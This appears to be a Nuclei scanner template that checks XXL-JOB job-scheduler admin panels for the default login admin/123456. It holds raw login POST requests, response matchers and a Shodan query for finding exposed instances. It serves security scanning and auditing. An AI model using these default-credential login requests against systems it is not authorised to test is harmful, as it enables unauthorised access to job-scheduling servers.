id: xxljob-default-login

info:
  name: XXL-JOB Default Login
  author: pdteam,ritikchaddha
  severity: high
  description: XXL-JOB default admin credentials were discovered.
  reference:
    - https://github.com/xuxueli/xxl-job
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L
    cvss-score: 8.3
    cwe-id: CWE-522
  metadata:
    verified: true
    max-request: 2
    shodan-query: http.favicon.hash:1691956220
  tags: default-login,xxljob

http:
  - raw:
      - |
        POST /xxl-job-admin/login HTTP/1.1
        Host:{{Hostname}}
        Content-Type: application/x-www-form-urlencoded; charset=UTF-8

        userName={{username}}&password={{password}}
      - |
        POST /login HTTP/1.1
        Host:{{Hostname}}
        Content-Type: application/x-www-form-urlencoded; charset=UTF-8

        userName={{username}}&password={{password}}

    attack: pitchfork
    payloads:
      username:
        - admin
      password:
        - 123456
    stop-at-first-match: true

    matchers-condition: and
    matchers:
      - type: word
        words:
          - '"code":200'
          - '"msg"'
          - '"content"'
        condition: and

      - type: word
        part: header
        words:
          - 'application/json'
          - 'XXL_JOB_LOGIN_IDENTITY'
        condition: and

      - type: status
        status:
          - 200

# digest: 4b0a00483046022100ae974bb59eb8265058d71d65ba977414da678ac9714b4de0271be9aaad80162e022100c5e2778b9fd6d3563f74836c593566f4319ec48c6de63b985cbb63aaf0701491:922c64590222798bb761d5b6d8e72950
